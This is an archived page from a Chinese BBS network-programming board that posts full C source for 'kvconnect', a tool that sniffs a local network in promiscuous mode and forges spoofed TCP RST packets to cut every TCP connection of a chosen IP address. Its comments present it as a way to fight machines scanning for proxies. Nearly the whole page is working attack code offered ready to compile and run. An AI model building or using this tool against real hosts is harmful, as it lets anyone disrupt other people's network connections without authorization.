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<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="322.htm">上一层</a>][<a href="470.htm">下一篇</a>]
<hr><p align="left"><small>/* 用法：kvconnect IP，若被攻击IP位于同网段,则断开它与外界的所有tcp连接 */ <br>
/* 若为远程主机,则断开它与本网段的所有tcp连接。本工具可以用来对付大白天 */ <br>
/* 搜proxy的机器，前提是泥知道哪台机器在搜，且该机器位于同网段。 */ <br>
/* 原作: hp of bbs.gznet.edu.cn 整理: digger 编译环境: redhat 5.1 */ <br>
<br>
#include <stdio.h> <br>
#include <string.h> <br>
#include <netdb.h> <br>
#include <arpa/inet.h> <br>
#include <netinet/in.h> <br>
#include <sys/types.h> <br>
#include <sys/socket.h> <br>
#include <sys/ioctl.h> <br>
#include <net/if.h> <br>
#include <signal.h> <br>
#include <netinet/ip.h> <br>
<br>
#define __FAVOR_BSD <br>
#include <netinet/tcp.h> <br>
<br>
#define IP_TCP 6 <br>
#define PACKET_SIZE 4096 <br>
<br>
<br>
struct pseudohdr // pseudo tcp header <br>
{ <br>
u_long saddr; <br>
u_long daddr; <br>
u_char zero; <br>
u_char protocol; <br>
u_short length; <br>
struct tcphdr tcpheader; <br>
}; <br>
<br>
struct ip_packet <br>
{ <br>
struct iphdr ipheader; <br>
struct tcphdr tcpheader; <br>
}; <br>
<br>
u_short checksum(u_short * data,u_short length) <br>
{ <br>
register long value; <br>
u_short i; <br>
<br>
for (i = 0;i < (length >> 1);i ++) <br>
value += data[i]; <br>
<br>
if ((length & 1) == 1) <br>
value += (data[i] << 8); <br>
<br>
value = (value & 65535) + (value >> 16); <br>
<br>
return(~value); <br>
} <br>
<br>
void leave(); <br>
int fd_recv = -1, fd_send = -1; <br>
struct ifreq ifr, ifr_old; <br>
<br>
main(int argc,char *argv[]) <br>
{ <br>
char device[] = "eth0"; <br>
u_char buf_recv[PACKET_SIZE]; <br>
struct ip_packet buf_send; <br>
struct pseudohdr pseudoheader; <br>
struct iphdr * ip; <br>
struct tcphdr * tcp; <br>
struct in_addr in; <br>
u_long ips; <br>
int i, j, k; <br>
int from_len, datalen; <br>
struct sockaddr from; struct sockaddr_in to; <br>
<br>
if (argc < 2) { <br>
printf("usuage: %s sourceIP\n", argv[0]); <br>
exit(1); <br>
} <br>
if ( ( ips = inet_addr(argv[1]) ) == -1 ) { <br>
printf("bad ip address\n"); <br>
exit(-1); <br>
} <br>
<br>
fd_recv = socket(AF_INET, SOCK_PACKET, htons(0x0003)); <br>
if (fd_recv < 0) { perror( "packet socket error"); exit(-1); } <br>
strcpy(ifr.ifr_name, device); <br>
if (ioctl(fd_recv, SIOCGIFFLAGS, &ifr) < 0 ) { <br>
perror("ioctl SIOCGIFFLAGS error"); <br>
if (fd_recv >= 0) close(fd_recv); <br>
exit(-1); <br>
} <br>
ifr_old = ifr; <br>
ifr.ifr_flags |= IFF_PROMISC; <br>
if (ioctl(fd_recv, SIOCSIFFLAGS, &ifr) < 0 ) { <br>
perror("ioctl SIOCSIFFLAGS error"); <br>
if (fd_recv >= 0) close(fd_recv); <br>
exit(-1); <br>
} <br>
signal(SIGINT, leave); <br>
signal(SIGTERM, leave); <br>
<br>
AGAIN: <br>
bzero(&from, sizeof(from)); <br>
from_len = sizeof(from); <br>
datalen = recvfrom(fd_recv, (char *)buf_recv, 4096, 0, <br>
&from, &from_len); <br>
if (datalen < 0) { <br>
perror("recvfrom error"); <br>
exit(-1); <br>
} <br>
if (strcmp(device, from.sa_data) != 0) goto AGAIN; <br>
<br>
<br>
/* not packet for ip protocol, discard */ <br>
if (buf_recv[12] != 0x08 && buf_recv[13] != 0x00) goto AGAIN; <br>
<br>
ip = (struct iphdr *)&buf_recv[14]; <br>
tcp = (struct tcphdr *)&buf_recv[34]; <br>
<br>
if (ip->protocol == IP_TCP) { <br>
if (ip->saddr == ips) { <br>
if ( (tcp->th_flags & TH_ACK ) == 0) goto AGAIN; <br>
in.s_addr = ip->daddr; <br>
printf("%s:%d to %s:%d listened, ", argv[1], <br>
ntohs(tcp->th_sport), inet_ntoa(in), <br>
ntohs(tcp->th_dport) ); <br>
if ( (fd_send = socket( AF_INET, <br>
SOCK_RAW,IPPROTO_RAW)) == -1) { <br>
perror("raw socket error"); <br>
exit(-1); <br>
} <br>
bzero((char *)&buf_send, sizeof(struct ip_packet)); <br>
/*FAKE TCP HEADER*/ <br>
buf_send.tcpheader.th_sport = tcp->th_dport; <br>
buf_send.tcpheader.th_dport = tcp->th_sport; <br>
buf_send.tcpheader.th_seq = tcp->th_ack; <br>
buf_send.tcpheader.th_ack = tcp->th_seq; <br>
buf_send.tcpheader.th_x2 = 0; <br>
buf_send.tcpheader.th_off = 0x50; <br>
buf_send.tcpheader.th_flags = TH_RST; <br>
buf_send.tcpheader.th_win= htons(2048); <br>
buf_send.tcpheader.th_sum= 0; <br>
buf_send.tcpheader.th_urp= 0; <br>
/*FAKE IP HEADER*/ <br>
buf_send.ipheader.version = 4; <br>
buf_send.ipheader.ihl = 5; <br>
buf_send.ipheader.tos = 0; <br>
buf_send.ipheader.tot_len = htons(0x28); <br>
buf_send.ipheader.id = 0x1234; <br>
buf_send.ipheader.frag_off = 0; <br>
buf_send.ipheader.ttl = 0xff; <br>
buf_send.ipheader.protocol = IP_TCP; <br>
buf_send.ipheader.check = 0; <br>
buf_send.ipheader.saddr = ip->daddr; <br>
buf_send.ipheader.daddr = ip->saddr; <br>
/*TCP CHECK SUM*/ <br>
bzero(&pseudoheader, 12 + sizeof(struct tcphdr)); <br>
pseudoheader.saddr = ip->daddr; <br>
pseudoheader.daddr = ip->saddr; <br>
pseudoheader.protocol = 6; <br>
pseudoheader.length = htons(sizeof(struct tcphdr)); <br>
bcopy( (char *) &buf_send.tcpheader, <br>
(char *) &pseudoheader.tcpheader, <br>
sizeof(struct tcphdr) ); <br>
buf_send.tcpheader.th_sum = checksum( <br>
(u_short *) &pseudoheader, <br>
12+sizeof(struct tcphdr) ); <br>
<br>
to.sin_family = AF_INET; <br>
to.sin_addr.s_addr = ips; <br>
k = sendto( fd_send, (char *)& buf_send, 40, 0, <br>
(struct sockaddr *)&to, <br>
sizeof(struct sockaddr) ); <br>
if (k < 0) { <br>
perror("sendto error"); <br>
exit(-1); <br>
} <br>
printf("RST packet sent back ok.\n"); <br>
close(fd_send); <br>
fd_send = -1; <br>
} <br>
} <br>
goto AGAIN; <br>
} <br>
<br>
void leave() <br>
{ <br>
if (ioctl(fd_recv, SIOCSIFFLAGS, &ifr_old) < 0) { <br>
perror("ioctl SIOCSIFFLAGS error"); <br>
} <br>
if (fd_recv > 0) close(fd_recv); <br>
if (fd_send > 0) close(fd_send); <br>
printf("process terminamted.\n"); <br>
exit(0); <br>
} <br>
</small><hr>
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